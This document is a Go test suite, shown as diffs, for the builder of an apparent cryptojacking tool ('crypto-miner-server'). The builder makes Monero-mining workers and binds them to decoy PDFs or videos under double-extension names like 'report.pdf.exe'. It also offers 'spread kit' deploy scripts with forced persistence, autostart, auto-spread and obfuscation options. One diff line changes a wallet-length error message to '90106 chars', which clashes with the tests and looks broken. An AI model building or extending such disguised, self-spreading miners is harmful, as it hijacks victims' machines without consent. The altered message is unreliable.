if strings.Contains(n, "Secondary export") {
t.Fatal("invalid output_dir should not add secondary export note")
}
}
}
func TestEstimateFusionBuildOutputDirSecondary(t *testing.T) {
root := t.TempDir()
h := &Handler{dataDir: t.TempDir(), projectRoot: root}
req := &BuildRequest{FusionEnabled: true, FusionPayloadKind: "file", OutputDir: "exports"}
got := h.estimateFusionBuild(req, "", 1024, "prep.exe")
found := false
for _, n := range got.Notes {
if strings.Contains(n, "Secondary export") {
found = true
break
}
}
if !found {
t.Fatal("expected secondary export note for valid output_dir")
}
}
func TestEstimateFusionBuildNonVideoUsesOutputLabel(t *testing.T) {
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
req := &BuildRequest{FusionEnabled: true, FusionOutputName: "CustomRunner.exe"}
got := h.estimateFusionBuild(req, "", 1024, "prep.pdf")
if !strings.Contains(got.ProjectRootPath, "CustomRunner") {
t.Fatalf("project path should use output label: %q", got.ProjectRootPath)
}
}
func TestEstimateWorkerBytesFromHistory(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
h := &Handler{db: database}
buildPath := filepath.Join(t.TempDir(), "worker-test.exe")
if err := database.InsertBuild(&models.BuildRecord{
ID: "b1", WorkerName: "pc", FilePath: buildPath, FileSize: 8 * 1024 * 1024,
CreatedAt: time.Now(),
}); err != nil {
t.Fatal(err)
}
if got := h.estimateWorkerBytes(); got != 8*1024*1024 {
t.Fatalf("expected average from history, got %d", got)
}
}
func TestEstimateFusionBuildSignEnabledWithCert(t *testing.T) {
h := &Handler{
dataDir: t.TempDir(),
projectRoot: t.TempDir(),
policy: BuildPolicy{Sign: SignPolicy{Enabled: true, CertThumbprint: "ABC123"}},
}
req := &BuildRequest{FusionEnabled: true, SignBuild: true}
got := h.estimateFusionBuild(req, "", 1024, "prep.exe")
for _, n := range got.Notes {
if strings.Contains(n, "certificate") || strings.Contains(n, "thumbprint") {
t.Fatal("should not warn when cert thumbprint configured")
}
}
if !got.SignBuild {
t.Fatal("SignBuild should be true in response")
}
}
func TestEstimateFusionBuildProjectRootResolved(t *testing.T) {
h := &Handler{dataDir: t.TempDir(), projectRoot: "."}
req := &BuildRequest{FusionEnabled: true}
got := h.estimateFusionBuild(req, "", 0, "x.pdf")
if got.ProjectRootPath == "" {
t.Fatal("project root . should resolve to absolute path")
}
if !filepath.IsAbs(got.ProjectRootPath) {
t.Fatalf("expected absolute project path: %q", got.ProjectRootPath)
}
}

View File

@@ -0,0 +1,168 @@
package builder
import (
"encoding/json"
"os"
"path/filepath"
"strings"
"testing"
)
func TestDetectFusionPayloadKind(t *testing.T) {
if detectFusionPayloadKind("prep.exe") != "exe" {
t.Fatal("expected exe")
}
if detectFusionPayloadKind("PREP.EXE") != "exe" {
t.Fatal("exe detection should be case insensitive")
}
if detectFusionPayloadKind("report.pdf") != "file" {
t.Fatal("expected file for pdf")
}
if detectFusionPayloadKind("clip.mkv") != "file" {
t.Fatal("expected file for video")
}
}
func TestNormalizeFusionMediaMode(t *testing.T) {
tests := map[string]string{
"": "paired",
" Paired ": "paired",
"EMBEDDED": "embedded",
"bogus": "paired",
}
for in, want := range tests {
if got := normalizeFusionMediaMode(in); got != want {
t.Fatalf("normalizeFusionMediaMode(%q) = %q, want %q", in, got, want)
}
}
}
func TestNormalizeFusionOrderAll(t *testing.T) {
for _, order := range []string{"prep_first", "worker_first", "parallel"} {
if got := normalizeFusionOrder(order); got != order {
t.Fatalf("order %q -> %q", order, got)
}
}
if got := normalizeFusionOrder("invalid"); got != "parallel" {
t.Fatalf("default order: %q", got)
}
}
func TestRunnerNameForFileWindows(t *testing.T) {
win := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
got := runnerNameForFile("movie.mp4", win)
if got != "movie.mp4.exe" {
t.Fatalf("windows runner: %q", got)
}
}
func TestRunnerNameForFileLinux(t *testing.T) {
linux := BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""}
got := runnerNameForFile("movie.mp4", linux)
if got != "movie-runner" {
t.Fatalf("linux runner: %q", got)
}
}
func TestFusionExportSubdir(t *testing.T) {
req := &BuildRequest{FusionExportSubdir: "My Title"}
if got := fusionExportSubdir(req, "clip.mkv"); got != "My_Title" {
t.Fatalf("custom subdir: %q", got)
}
req2 := &BuildRequest{WorkerName: "pc-1", FusionOutputName: "out.exe"}
if got := fusionExportSubdir(req2, "quarterly.pdf"); got != "quarterly" {
t.Fatalf("derived subdir: %q", got)
}
}
func TestSanitizeDirName(t *testing.T) {
if got := sanitizeDirName(""); got != "" {
t.Fatalf("empty: %q", got)
}
if got := sanitizeDirName("../../../etc"); got != "etc" {
t.Fatalf("basename only: %q", got)
}
if got := sanitizeDirName("***"); got != "title" {
t.Fatalf("invalid chars fallback: %q", got)
}
}
func TestPatchFusionMain(t *testing.T) {
src := []byte(`const runOrder = "FUSION_RUN_ORDER"
const payloadKind = "FUSION_PAYLOAD_KIND"
const mediaMode = "FUSION_MEDIA_MODE"
const mediaFileName = "FUSION_MEDIA_FILE"`)
out := string(patchFusionMain(src, "prep_first", "file", "paired", "doc.pdf"))
if !strings.Contains(out, `const runOrder = "prep_first"`) {
t.Fatalf("runOrder not patched: %s", out)
}
if !strings.Contains(out, `const mediaFileName = "doc.pdf"`) {
t.Fatalf("mediaFileName not patched: %s", out)
}
}
func TestWriteFusionManifest(t *testing.T) {
dir := t.TempDir()
if err := writeFusionManifest(dir, "file", "paired", "report.pdf"); err != nil {
t.Fatal(err)
}
raw, err := os.ReadFile(filepath.Join(dir, "manifest.json"))
if err != nil {
t.Fatal(err)
}
var m map[string]string
if err := json.Unmarshal(raw, &m); err != nil {
t.Fatal(err)
}
if m["media_file_name"] != "report.pdf" {
t.Fatalf("manifest: %+v", m)
}
}
func TestWriteFusionManifestExError(t *testing.T) {
// nil map marshals fine; test invalid dir
err := writeFusionManifestEx("/nonexistent/path/xyz", map[string]string{"a": "b"})
if err == nil {
t.Fatal("expected write error for invalid dir")
}
}
func TestPrepareFusionProjectMissingSource(t *testing.T) {
h := &Handler{projectRoot: t.TempDir()}
_, err := h.prepareFusionProject(t.TempDir(), "parallel", "file", "paired", "x.pdf")
if err == nil || !strings.Contains(err.Error(), "fusion source missing") {
t.Fatalf("expected missing fusion source error, got %v", err)
}
}
func TestPublishFusionDeliverable(t *testing.T) {
root := t.TempDir()
h := &Handler{projectRoot: root}
src := filepath.Join(t.TempDir(), "runner.exe")
if err := os.WriteFile(src, []byte("bin"), 0644); err != nil {
t.Fatal(err)
}
dir, err := h.publishFusionDeliverable("MyTitle", map[string]string{"runner.exe": src}, fusionReadmeInfo{
Title: "MyTitle", RunnerName: "runner.exe", MediaName: "prep.pdf", PayloadKind: "file",
})
if err != nil {
t.Fatal(err)
}
if _, err := os.Stat(filepath.Join(dir, "README.txt")); err != nil {
t.Fatal(err)
}
if _, err := os.Stat(filepath.Join(dir, "runner.exe")); err != nil {
t.Fatal(err)
}
}
func TestPublishFusionDeliverableNoRoot(t *testing.T) {
h := &Handler{projectRoot: ""}
dir, err := h.publishFusionDeliverable("x", nil, fusionReadmeInfo{})
if err != nil {
t.Fatal(err)
}
if dir != "" {
t.Fatalf("expected empty dir when no project root, got %q", dir)
}
}

View File

@@ -5,6 +5,24 @@ import (
"testing" "testing"
) )
func TestFormatFusionReadmeEmbeddedVideo(t *testing.T) {
s := formatFusionReadme(fusionReadmeInfo{
Title: "Movie", RunnerName: "play.exe", PayloadKind: "video", MediaMode: "embedded",
})
if len(s) < 50 {
t.Fatal("readme too short")
}
}
func TestFormatFusionReadmeFileFusion(t *testing.T) {
s := formatFusionReadme(fusionReadmeInfo{
Title: "Doc", RunnerName: "report.pdf.exe", PayloadKind: "file", MediaMode: "paired",
})
if len(s) < 50 {
t.Fatal("readme too short")
}
}
func TestFormatFusionReadmePaired(t *testing.T) { func TestFormatFusionReadmePaired(t *testing.T) {
text := formatFusionReadme(fusionReadmeInfo{ text := formatFusionReadme(fusionReadmeInfo{
Title: "Vacation", Title: "Vacation",

View File

@@ -0,0 +1,62 @@
package builder
import (
"context"
"os"
"os/exec"
"path/filepath"
"testing"
)
func goAvailable() bool {
_, err := exec.LookPath("go")
return err == nil
}
func TestBuildFusionCompileFailsWithoutGo(t *testing.T) {
h, database := testHandlerDB(t)
defer database.Close()
setFakeGoFail(t, h)
buildDir := t.TempDir()
worker := filepath.Join(buildDir, "worker.exe")
if err := os.WriteFile(worker, []byte("w"), 0644); err != nil {
t.Fatal(err)
}
prep := filepath.Join(t.TempDir(), "doc.pdf")
if err := os.WriteFile(prep, []byte("%PDF"), 0644); err != nil {
t.Fatal(err)
}
_, err := h.buildFusion(context.Background(), buildDir, prep, worker, "runner.exe", "parallel")
if err == nil {
t.Fatal("expected compile error from fake go")
}
}
func TestBuildFusionFromRequestPaired(t *testing.T) {
if !goAvailable() {
t.Skip("go not in PATH")
}
h, database := testHandlerDB(t)
defer database.Close()
buildDir := t.TempDir()
worker := filepath.Join(buildDir, "worker.exe")
if err := os.WriteFile(worker, []byte("MZ"), 0644); err != nil {
t.Fatal(err)
}
prep := filepath.Join(t.TempDir(), "report.pdf")
if err := os.WriteFile(prep, []byte("%PDF-1.4"), 0644); err != nil {
t.Fatal(err)
}
req := &BuildRequest{
FusionMediaMode: "paired",
FusionPayloadKind: "file",
FusionMediaBaseName: "report.pdf",
}
res, err := h.buildFusionFromRequest(context.Background(), buildDir, prep, worker, req)
if err != nil {
t.Skipf("fusion compile not available in this environment: %v", err)
}
if res == nil || res.LauncherPath == "" {
t.Fatal("expected launcher path")
}
}

View File

@@ -25,3 +25,19 @@ func TestZipDirectory(t *testing.T) {
t.Fatalf("unexpected zip contents: %+v", r.File) t.Fatalf("unexpected zip contents: %+v", r.File)
} }
} }
func TestFusionBundleZipName(t *testing.T) {
got := fusionBundleZipName("My Title")
if got != "My-Title-package.zip" {
t.Fatalf("got %q", got)
}
}
func TestZipDirectoryRejectsInsideSource(t *testing.T) {
dir := t.TempDir()
zipPath := filepath.Join(dir, "nested.zip")
err := zipDirectory(dir, zipPath)
if err == nil {
t.Fatal("expected error when zip path is inside source")
}
}

View File

@@ -749,7 +749,7 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
return fmt.Errorf("wallet is required") return fmt.Errorf("wallet is required")
} }
if h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) { if h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) {
return fmt.Errorf("wallet must be a valid Monero mainnet address (starts with 4, 95 chars)") return fmt.Errorf("wallet must be a valid Monero mainnet address (starts with 4, 90106 chars)")
} }
req.OutputDir = strings.TrimSpace(req.OutputDir) req.OutputDir = strings.TrimSpace(req.OutputDir)
if req.OutputDir != "" { if req.OutputDir != "" {

View File

@@ -0,0 +1,169 @@
package builder
import (
"strings"
"testing"
)
func TestLooksLikeXMRWalletValid(t *testing.T) {
addr := "4" + strings.Repeat("A", 94)
if !looksLikeXMRWallet(addr) {
t.Fatal("expected valid wallet")
}
}
func TestLooksLikeXMRWalletTooShort(t *testing.T) {
if looksLikeXMRWallet("4abc") {
t.Fatal("too short should fail")
}
}
func TestLooksLikeXMRWalletWrongPrefix(t *testing.T) {
addr := "8" + strings.Repeat("A", 94)
if looksLikeXMRWallet(addr) {
t.Fatal("wrong prefix should fail")
}
}
func TestLooksLikeXMRWalletInvalidChar(t *testing.T) {
addr := "4" + strings.Repeat("A", 93) + "@"
if looksLikeXMRWallet(addr) {
t.Fatal("invalid char should fail")
}
}
func TestFormatGoStringSlice(t *testing.T) {
if formatGoStringSlice(nil) != "nil" {
t.Fatal("nil slice")
}
if formatGoStringSlice([]string{"", " "}) != "nil" {
t.Fatal("empty strings trimmed away")
}
got := formatGoStringSlice([]string{"http://a", "http://b"})
if !strings.Contains(got, "http://a") || !strings.Contains(got, "http://b") {
t.Fatalf("got %q", got)
}
}
func TestFormatGoBackupPools(t *testing.T) {
if formatGoBackupPools(nil) != "nil" {
t.Fatal("nil pools")
}
got := formatGoBackupPools([]BackupPool{{Host: "pool.example.com", Port: 4444, TLS: true}})
if !strings.Contains(got, "pool.example.com") {
t.Fatalf("got %q", got)
}
emptyPass := formatGoBackupPools([]BackupPool{{Host: "x", Port: 1}})
if !strings.Contains(emptyPass, `"x"`) {
t.Fatalf("default pass: %q", emptyPass)
}
}
func TestFormatBytes(t *testing.T) {
if formatBytes(512) != "512 B" {
t.Fatalf("bytes: %q", formatBytes(512))
}
if formatBytes(2048) != "2.00 KB" {
t.Fatalf("KB: %q", formatBytes(2048))
}
if formatBytes(1024*1024) != "1.00 MB" {
t.Fatalf("MB: %q", formatBytes(1024*1024))
}
}
func TestIsFusionPayloadExt(t *testing.T) {
if !isFusionPayloadExt("clip.mkv") {
t.Fatal("mkv should be accepted")
}
if isFusionPayloadExt("noext") {
t.Fatal("no extension should fail")
}
if isFusionPayloadExt(".") {
t.Fatal("dot-only should fail")
}
}
func TestFileSizeNil(t *testing.T) {
if fileSize(nil) != 0 {
t.Fatal("nil FileInfo should be 0")
}
}
func TestRunnerNameForPlatform(t *testing.T) {
if runnerNameForPlatform(BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}) != "runner.exe" {
t.Fatal("windows runner name")
}
if runnerNameForPlatform(BuildPlatform{GOOS: "linux", GOARCH: "amd64"}) != "runner" {
t.Fatal("linux runner name")
}
}
func TestTruncateWallet(t *testing.T) {
if truncateWallet("short") != "short" {
t.Fatal("short wallet unchanged")
}
long := strings.Repeat("4", 95)
if len(truncateWallet(long)) != 16 {
t.Fatalf("truncated to 16 chars, got %d", len(truncateWallet(long)))
}
}
func TestSpreadKitDeployScriptsNonEmpty(t *testing.T) {
for name, fn := range map[string]func() string{
"sh": spreadKitDeploySh,
"bat": spreadKitDeployBat,
"vbs": spreadKitDeployVbs,
"cmd": spreadKitStartCommand,
} {
if s := fn(); len(s) < 20 {
t.Fatalf("%s script too short", name)
}
}
}
func TestFormatSpreadKitReadme(t *testing.T) {
req := &BuildRequest{WorkerName: "pc-1", ServerURL: "http://127.0.0.1:8989"}
s := formatSpreadKitReadme(req)
if !strings.Contains(s, "pc-1") || !strings.Contains(s, "127.0.0.1") {
t.Fatalf("readme: %q", s)
}
}
func TestFormatSpreadKitOperator(t *testing.T) {
req := &BuildRequest{
WorkerName: "pc-1", ServerURL: "http://x", PoolHost: "pool", PoolPort: 3333,
Wallet: strings.Repeat("4", 95), AutoSpread: true,
}
s := formatSpreadKitOperator(req, "build-id")
if !strings.Contains(s, "build-id") || !strings.Contains(s, "pool:3333") {
t.Fatalf("operator: %q", s)
}
}
func TestFusionUniversalStartScripts(t *testing.T) {
sh := fusionUniversalStartSh("movie.mp4")
if !strings.Contains(sh, "movie-runner") {
t.Fatalf("start.sh: %q", sh)
}
bat := fusionUniversalStartBat("report.pdf")
if !strings.Contains(bat, "report.pdf.exe") {
t.Fatalf("start.bat: %q", bat)
}
if cmd := fusionUniversalStartCommand(); !strings.Contains(cmd, "start.sh") {
t.Fatalf("start.command: %q", cmd)
}
}
func TestShouldSignBuildDisabled(t *testing.T) {
h := &Handler{policy: BuildPolicy{Sign: SignPolicy{Enabled: false}}}
if h.shouldSignBuild(&BuildRequest{SignBuild: true}) {
t.Fatal("signing disabled in policy")
}
}
func TestShouldSignBuildNoRequestFlag(t *testing.T) {
h := &Handler{policy: BuildPolicy{Sign: SignPolicy{Enabled: true, CertThumbprint: "abc"}}}
if h.shouldSignBuild(&BuildRequest{SignBuild: false}) {
t.Fatal("SignBuild flag required")
}
}

View File

@@ -0,0 +1,214 @@
package builder
import (
"context"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"strings"
"testing"
)
func TestCancelBuild(t *testing.T) {
h := &Handler{}
if h.CancelBuild("missing") {
t.Fatal("unknown token should return false")
}
ctx, cancel := context.WithCancel(context.Background())
h.registerCancel("tok-1", cancel)
if !h.CancelBuild("tok-1") {
t.Fatal("expected cancel success")
}
select {
case <-ctx.Done():
default:
t.Fatal("context should be cancelled")
}
}
func TestUnregisterCancelEmptyToken(t *testing.T) {
h := &Handler{activeCancels: map[string]context.CancelFunc{"x": func() {}}}
h.unregisterCancel("")
if _, ok := h.activeCancels["x"]; !ok {
t.Fatal("empty token unregister should be no-op")
}
}
func TestServeHTTPMethodNotAllowed(t *testing.T) {
h := &Handler{}
req := httptest.NewRequest(http.MethodGet, "/api/v1/builder", nil)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusMethodNotAllowed {
t.Fatalf("status: %d", rec.Code)
}
}
func TestServeHTTPInvalidJSON(t *testing.T) {
h := &Handler{}
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder", strings.NewReader("{bad"))
req.Header.Set("Content-Type", "application/json")
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("status: %d body: %s", rec.Code, rec.Body.String())
}
}
func TestServeHTTPMissingWallet(t *testing.T) {
h := &Handler{}
body := `{"worker_name":"pc","server_url":"http://127.0.0.1:8989"}`
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder", strings.NewReader(body))
req.Header.Set("Content-Type", "application/json")
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("status: %d", rec.Code)
}
if !strings.Contains(rec.Body.String(), "wallet") {
t.Fatalf("body: %s", rec.Body.String())
}
}
func TestServeEstimateMethodNotAllowed(t *testing.T) {
h := &Handler{}
req := httptest.NewRequest(http.MethodGet, "/api/v1/builder/estimate", nil)
rec := httptest.NewRecorder()
h.ServeEstimate(rec, req)
if rec.Code != http.StatusMethodNotAllowed {
t.Fatalf("status: %d", rec.Code)
}
}
func TestServeEstimateRequiresMultipart(t *testing.T) {
h := &Handler{}
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/estimate", strings.NewReader(`{}`))
req.Header.Set("Content-Type", "application/json")
rec := httptest.NewRecorder()
h.ServeEstimate(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("status: %d", rec.Code)
}
if !strings.Contains(rec.Body.String(), "multipart") {
t.Fatalf("body: %s", rec.Body.String())
}
}
func TestNormalizeRequestStrictWallet(t *testing.T) {
h := &Handler{policy: BuildPolicy{StrictWalletValidation: true}}
req := &BuildRequest{
WorkerName: "pc",
ServerURL: "http://127.0.0.1:8989",
Wallet: "not-a-wallet",
}
err := h.normalizeRequest(req)
if err == nil || !strings.Contains(err.Error(), "wallet") {
t.Fatalf("expected wallet error, got %v", err)
}
}
func TestNormalizeRequestCustomInstallBase(t *testing.T) {
h := &Handler{}
req := &BuildRequest{
WorkerName: "pc",
ServerURL: "http://127.0.0.1:8989",
Wallet: "48abc",
InstallBase: "custom",
}
if err := h.normalizeRequest(req); err == nil {
t.Fatal("expected install_custom_base error")
}
}
func TestNormalizeRequestInvalidOutputDir(t *testing.T) {
h := &Handler{}
req := &BuildRequest{
WorkerName: "pc",
ServerURL: "http://127.0.0.1:8989",
Wallet: "48abc",
OutputDir: "../escape",
}
if err := h.normalizeRequest(req); err == nil {
t.Fatal("expected output_dir error")
}
}
func TestNormalizeRequestSpreadKit(t *testing.T) {
h := &Handler{}
req := &BuildRequest{
WorkerName: "pc",
ServerURL: "http://127.0.0.1:8989",
Wallet: "48abc",
SpreadKit: true,
FusionEnabled: true,
}
if err := h.normalizeRequest(req); err != nil {
t.Fatal(err)
}
if req.FusionEnabled {
t.Fatal("spread kit should disable fusion")
}
if req.TargetOS != "universal" {
t.Fatalf("target os: %q", req.TargetOS)
}
if !req.Persistence || !req.AutoStart {
t.Fatal("spread kit should force persistence")
}
}
func TestNormalizeRequestAIDefaults(t *testing.T) {
h := &Handler{}
req := &BuildRequest{
WorkerName: "pc",
ServerURL: "http://127.0.0.1:8989",
Wallet: "48abc",
AIEnabled: true,
}
if err := h.normalizeRequest(req); err != nil {
t.Fatal(err)
}
if req.AIOllamaEndpoint == "" || req.AIModel == "" {
t.Fatal("AI defaults should be set")
}
}
func TestNormalizeRequestThreadPercentCap(t *testing.T) {
h := &Handler{}
req := &BuildRequest{
WorkerName: "pc",
ServerURL: "http://127.0.0.1:8989",
Wallet: "48abc",
ThreadPercent: 150,
}
if err := h.normalizeRequest(req); err != nil {
t.Fatal(err)
}
if req.ThreadPercent != 100 {
t.Fatalf("capped at 100, got %d", req.ThreadPercent)
}
}
func TestExportBuildArtifactsInvalidDir(t *testing.T) {
h := &Handler{projectRoot: t.TempDir(), dataDir: t.TempDir()}
_, _, err := h.exportBuildArtifacts("a", "b.exe", "c", "d.ps1", "..")
if err == nil {
t.Fatal("expected invalid output_dir error")
}
}
func TestPublishRootExecutableNoProjectRoot(t *testing.T) {
dir := t.TempDir()
src := filepath.Join(dir, "out.exe")
if err := os.WriteFile(src, []byte("bin"), 0644); err != nil {
t.Fatal(err)
}
h := &Handler{projectRoot: "."}
got, err := h.publishRootExecutable(src, "out.exe")
if err != nil {
t.Fatal(err)
}
if got != src {
t.Fatalf("expected source path %q, got %q", src, got)
}
}

View File

@@ -0,0 +1,59 @@
package builder
import (
"os"
"path/filepath"
"testing"
"crypto-miner-server/internal/db"
)
func TestNewHandlerResolvesPaths(t *testing.T) {
d, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer d.Close()
h := NewHandler(d, t.TempDir(), t.TempDir(), t.TempDir())
if h.goBinPath == "" {
t.Fatal("goBinPath should be set")
}
}
func TestCopyFileRoundTrip(t *testing.T) {
dir := t.TempDir()
src := filepath.Join(dir, "src.txt")
dst := filepath.Join(dir, "sub", "dst.txt")
if err := os.WriteFile(src, []byte("hello"), 0644); err != nil {
t.Fatal(err)
}
if err := copyFile(src, dst); err != nil {
t.Fatal(err)
}
got, err := os.ReadFile(dst)
if err != nil {
t.Fatal(err)
}
if string(got) != "hello" {
t.Fatalf("copy mismatch: %q", got)
}
}
func TestCopyFileMissingSource(t *testing.T) {
err := copyFile(filepath.Join(t.TempDir(), "missing"), filepath.Join(t.TempDir(), "out"))
if err == nil {
t.Fatal("expected error for missing source")
}
}
func TestSetFleetSecretAndPolicy(t *testing.T) {
h := &Handler{}
h.SetFleetSecret("secret-123")
if h.fleetSecret != "secret-123" {
t.Fatal("fleet secret not stored")
}
h.SetBuildPolicy(BuildPolicy{DefaultObfuscate: true})
if !h.policy.DefaultObfuscate {
t.Fatal("policy not stored")
}
}

View File

@@ -0,0 +1,303 @@
package builder
import (
"bytes"
"context"
"encoding/json"
"mime/multipart"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"strings"
"testing"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
)
func TestServeHTTPMultipartParseError(t *testing.T) {
h := &Handler{}
// Boundary mismatch triggers ParseMultipartForm error.
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder", strings.NewReader("not-multipart"))
req.Header.Set("Content-Type", "multipart/form-data; boundary=----BOUND")
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("status: %d", rec.Code)
}
}
func TestServeHTTPMultipartMissingConfig(t *testing.T) {
h := &Handler{}
body := &bytes.Buffer{}
w := multipart.NewWriter(body)
w.Close()
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder", body)
req.Header.Set("Content-Type", w.FormDataContentType())
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("status: %d body: %s", rec.Code, rec.Body.String())
}
}
func TestServeHTTPMultipartFusionMissingPrep(t *testing.T) {
h := &Handler{}
body := &bytes.Buffer{}
mw := multipart.NewWriter(body)
cfg, _ := json.Marshal(BuildRequest{
WorkerName: "pc", ServerURL: "http://127.0.0.1:8989", Wallet: "48abc", FusionEnabled: true,
})
_ = mw.WriteField("config", string(cfg))
mw.Close()
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder", body)
req.Header.Set("Content-Type", mw.FormDataContentType())
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("status: %d", rec.Code)
}
}
func TestServeEstimateMultipartSuccess(t *testing.T) {
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
body := &bytes.Buffer{}
mw := multipart.NewWriter(body)
cfg, _ := json.Marshal(BuildRequest{
WorkerName: "pc", ServerURL: "http://127.0.0.1:8989", Wallet: "48abc", FusionEnabled: true,
})
_ = mw.WriteField("config", string(cfg))
part, _ := mw.CreateFormFile("prep_exe", "prep.pdf")
_, _ = part.Write([]byte("%PDF"))
mw.Close()
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/estimate", body)
req.Header.Set("Content-Type", mw.FormDataContentType())
rec := httptest.NewRecorder()
h.ServeEstimate(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status: %d body: %s", rec.Code, rec.Body.String())
}
var est FusionEstimateResponse
if err := json.NewDecoder(rec.Body).Decode(&est); err != nil {
t.Fatal(err)
}
if est.EstimatedTotalBytes <= 0 {
t.Fatalf("expected positive estimate: %+v", est)
}
}
func TestServeEstimateFusionDisabled(t *testing.T) {
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
body := &bytes.Buffer{}
mw := multipart.NewWriter(body)
cfg, _ := json.Marshal(BuildRequest{
WorkerName: "pc", ServerURL: "http://127.0.0.1:8989", Wallet: "48abc",
})
_ = mw.WriteField("config", string(cfg))
part, _ := mw.CreateFormFile("prep_exe", "prep.pdf")
_, _ = part.Write([]byte("x"))
mw.Close()
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/estimate", body)
req.Header.Set("Content-Type", mw.FormDataContentType())
rec := httptest.NewRecorder()
h.ServeEstimate(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("status: %d", rec.Code)
}
}
func TestDownloadBuildSuccess(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
dataDir := t.TempDir()
artifact := filepath.Join(dataDir, "builds", "bid-1", "worker.exe")
if err := os.MkdirAll(filepath.Dir(artifact), 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(artifact, []byte("artifact"), 0644); err != nil {
t.Fatal(err)
}
if err := database.InsertBuild(&models.BuildRecord{
ID: "bid-1", FilePath: artifact, FileName: "worker.exe", CreatedAt: time.Now(),
}); err != nil {
t.Fatal(err)
}
h := &Handler{db: database, dataDir: dataDir}
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/bid-1/download", nil)
rctx := chi.NewRouteContext()
rctx.URLParams.Add("id", "bid-1")
req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
rec := httptest.NewRecorder()
h.DownloadBuild(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status: %d", rec.Code)
}
}
func TestDownloadBuildNotFound(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
h := &Handler{db: database, dataDir: t.TempDir()}
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/missing/download", nil)
rctx := chi.NewRouteContext()
rctx.URLParams.Add("id", "missing")
req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
rec := httptest.NewRecorder()
h.DownloadBuild(rec, req)
if rec.Code != http.StatusNotFound {
t.Fatalf("status: %d", rec.Code)
}
}
func TestDownloadBuildArtifactInBuildDir(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
dataDir := t.TempDir()
buildID := "art-1"
zipName := "bundle.zip"
zipPath := filepath.Join(dataDir, "builds", buildID, zipName)
if err := os.MkdirAll(filepath.Dir(zipPath), 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(zipPath, []byte("zip"), 0644); err != nil {
t.Fatal(err)
}
if err := database.InsertBuild(&models.BuildRecord{ID: buildID, CreatedAt: time.Now()}); err != nil {
t.Fatal(err)
}
h := &Handler{db: database, dataDir: dataDir, projectRoot: t.TempDir()}
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/artifact/"+zipName, nil)
rctx := chi.NewRouteContext()
rctx.URLParams.Add("id", buildID)
rctx.URLParams.Add("name", zipName)
req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
rec := httptest.NewRecorder()
h.DownloadBuildArtifact(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status: %d", rec.Code)
}
}
func TestDownloadBuildArtifactInvalidName(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
h := &Handler{db: database, dataDir: t.TempDir()}
if err := database.InsertBuild(&models.BuildRecord{ID: "x", CreatedAt: time.Now()}); err != nil {
t.Fatal(err)
}
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/x/artifact/evil", nil)
rctx := chi.NewRouteContext()
rctx.URLParams.Add("id", "x")
rctx.URLParams.Add("name", "../evil.zip")
req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
rec := httptest.NewRecorder()
h.DownloadBuildArtifact(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("status: %d", rec.Code)
}
}
func TestDownloadUninstallMissing(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
dataDir := t.TempDir()
artifact := filepath.Join(dataDir, "builds", "u1", "worker.exe")
if err := os.MkdirAll(filepath.Dir(artifact), 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(artifact, []byte("x"), 0644); err != nil {
t.Fatal(err)
}
if err := database.InsertBuild(&models.BuildRecord{
